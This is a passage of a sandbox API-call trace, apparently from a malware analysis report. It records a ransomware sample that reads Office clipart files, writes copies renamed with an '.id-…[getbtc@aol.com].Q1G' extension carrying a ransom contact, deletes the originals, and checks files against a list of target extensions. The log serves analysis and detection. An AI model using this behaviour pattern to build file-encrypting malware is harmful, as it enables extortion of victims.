hTemplateFile=0x0) returned 0x324 [0249.950] GetLastError () returned 0x0 [0249.950] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0249.953] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xa6e0, lpOverlapped=0x0) returned 1 [0249.954] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.954] WriteFile (in: hFile=0x324, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.954] SetEndOfFile (hFile=0x324) returned 1 [0249.954] CloseHandle (hObject=0x324) returned 1 [0249.954] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.954] SetEndOfFile (hFile=0x398) returned 1 [0249.957] CloseHandle (hObject=0x398) returned 1 [0249.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString=".doc") returned 4 [0249.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString=".docx") returned 5 [0249.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.958] lstrlenW (lpString=".pdf") returned 4 [0249.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString=".xls") returned 4 [0249.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.958] lstrlenW (lpString=".xlsx") returned 5 [0249.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.958] lstrlenW (lpString=".ppt") returned 4 [0249.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString=".zip") returned 4 [0249.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.958] lstrlenW (lpString=".rar") returned 4 [0249.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString=".bz2") returned 4 [0249.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString=".7z") returned 3 [0249.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString=".dbf") returned 4 [0249.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString=".1cd") returned 4 [0249.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString=".jpg") returned 4 [0249.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.958] lstrlenW (lpString=".doc") returned 4 [0249.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.958] lstrlenW (lpString=".docx") returned 5 [0249.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.958] lstrlenW (lpString=".pdf") returned 4 [0249.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.959] lstrlenW (lpString=".xls") returned 4 [0249.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.959] lstrlenW (lpString=".xlsx") returned 5 [0249.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.959] lstrlenW (lpString=".ppt") returned 4 [0249.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.959] lstrlenW (lpString=".zip") returned 4 [0249.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.959] lstrlenW (lpString=".rar") returned 4 [0249.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.959] lstrlenW (lpString=".bz2") returned 4 [0249.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.959] lstrlenW (lpString=".7z") returned 3 [0249.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.959] lstrlenW (lpString=".dbf") returned 4 [0249.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.959] lstrlenW (lpString=".1cd") returned 4 [0249.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0249.959] lstrlenW (lpString=".jpg") returned 4 [0249.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.959] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.959] lstrlenW (lpString="FD00965_.WMF") returned 12 [0249.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.385] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=15164) returned 1 [0250.385] CloseHandle (hObject=0x324) returned 1 [0250.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x20 [0250.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.386] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.386] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.387] GetLastError () returned 0x0 [0250.387] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0250.388] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3b40, lpOverlapped=0x0) returned 1 [0250.389] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.389] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.389] SetEndOfFile (hFile=0x3bc) returned 1 [0250.389] CloseHandle (hObject=0x3bc) returned 1 [0250.389] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.390] SetEndOfFile (hFile=0x324) returned 1 [0250.391] CloseHandle (hObject=0x324) returned 1 [0250.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0250.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.392] lstrlenW (lpString=".doc") returned 4 [0250.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.392] lstrlenW (lpString=".docx") returned 5 [0250.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.392] lstrlenW (lpString=".pdf") returned 4 [0250.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.392] lstrlenW (lpString=".xls") returned 4 [0250.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.392] lstrlenW (lpString=".xlsx") returned 5 [0250.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.392] lstrlenW (lpString=".ppt") returned 4 [0250.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.393] lstrlenW (lpString=".zip") returned 4 [0250.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.393] lstrlenW (lpString=".rar") returned 4 [0250.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString=".bz2") returned 4 [0250.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString=".7z") returned 3 [0250.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.393] lstrlenW (lpString=".dbf") returned 4 [0250.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.393] lstrlenW (lpString=".1cd") returned 4 [0250.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.393] lstrlenW (lpString=".jpg") returned 4 [0250.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.393] lstrlenW (lpString=".doc") returned 4 [0250.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString=".docx") returned 5 [0250.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.393] lstrlenW (lpString=".pdf") returned 4 [0250.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString=".xls") returned 4 [0250.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.393] lstrlenW (lpString=".xlsx") returned 5 [0250.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.393] lstrlenW (lpString=".ppt") returned 4 [0250.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.393] lstrlenW (lpString=".zip") returned 4 [0250.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.393] lstrlenW (lpString=".rar") returned 4 [0250.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.393] lstrlenW (lpString=".bz2") returned 4 [0250.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.394] lstrlenW (lpString=".7z") returned 3 [0250.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.394] lstrlenW (lpString=".dbf") returned 4 [0250.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.394] lstrlenW (lpString=".1cd") returned 4 [0250.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 63 [0250.394] lstrlenW (lpString=".jpg") returned 4 [0250.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.394] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.394] lstrlenW (lpString="FD02115_.WMF") returned 12 [0250.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.395] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4660) returned 1 [0250.395] CloseHandle (hObject=0x324) returned 1 [0250.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0250.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.395] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.396] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.396] GetLastError () returned 0x0 [0250.396] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1234, lpOverlapped=0x0) returned 1 [0250.397] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1240, lpOverlapped=0x0) returned 1 [0250.398] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.398] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.399] SetEndOfFile (hFile=0x3bc) returned 1 [0250.399] CloseHandle (hObject=0x3bc) returned 1 [0250.399] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.399] SetEndOfFile (hFile=0x324) returned 1 [0250.401] CloseHandle (hObject=0x324) returned 1 [0250.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString=".doc") returned 4 [0250.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString=".docx") returned 5 [0250.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.402] lstrlenW (lpString=".pdf") returned 4 [0250.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString=".xls") returned 4 [0250.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.402] lstrlenW (lpString=".xlsx") returned 5 [0250.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.402] lstrlenW (lpString=".ppt") returned 4 [0250.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString=".zip") returned 4 [0250.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.402] lstrlenW (lpString=".rar") returned 4 [0250.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString=".bz2") returned 4 [0250.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString=".7z") returned 3 [0250.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString=".dbf") returned 4 [0250.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString=".1cd") returned 4 [0250.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString=".jpg") returned 4 [0250.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.402] lstrlenW (lpString=".doc") returned 4 [0250.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.403] lstrlenW (lpString=".docx") returned 5 [0250.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.403] lstrlenW (lpString=".pdf") returned 4 [0250.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.403] lstrlenW (lpString=".xls") returned 4 [0250.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.403] lstrlenW (lpString=".xlsx") returned 5 [0250.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.403] lstrlenW (lpString=".ppt") returned 4 [0250.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.403] lstrlenW (lpString=".zip") returned 4 [0250.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.403] lstrlenW (lpString=".rar") returned 4 [0250.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.403] lstrlenW (lpString=".bz2") returned 4 [0250.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.403] lstrlenW (lpString=".7z") returned 3 [0250.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.403] lstrlenW (lpString=".dbf") returned 4 [0250.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.403] lstrlenW (lpString=".1cd") returned 4 [0250.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0250.403] lstrlenW (lpString=".jpg") returned 4 [0250.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.403] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.403] lstrlenW (lpString="FD02116_.WMF") returned 12 [0250.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.404] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3988) returned 1 [0250.404] CloseHandle (hObject=0x324) returned 1 [0250.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0250.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.404] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.404] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.405] GetLastError () returned 0x0 [0250.405] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xf94, lpOverlapped=0x0) returned 1 [0250.406] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0250.407] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, 